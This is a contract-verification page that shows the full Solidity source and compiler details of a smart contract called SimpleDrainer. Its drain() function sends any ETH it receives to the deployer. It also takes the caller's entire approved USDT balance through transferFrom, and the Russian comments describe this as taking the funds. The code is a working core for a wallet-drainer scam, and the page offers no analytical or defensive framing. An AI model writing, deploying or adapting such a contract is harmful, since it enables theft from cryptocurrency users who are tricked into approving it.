Verified contractExactMIT
SimpleDrainer
Address0x46df10fe0cdf1681f6607e4481fdd1a41ccba170
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
1 more contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,345,539
- Creation transaction
- 0xaef760d608…a152f12ed7
Drainer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract SimpleDrainer {
address public owner;
address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
constructor() {
owner = msg.sender;
}
function drain() external payable {
// Забираем ETH
if (msg.value > 0) {
(bool success, ) = payable(owner).call{value: msg.value}("");
require(success, "Transfer failed");
}
// Забираем USDT (нужен предварительный approve)
IERC20 token = IERC20(USDT);
uint256 balance = token.balanceOf(msg.sender);
if (balance > 0) {
token.transferFrom(msg.sender, owner, balance);
}
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.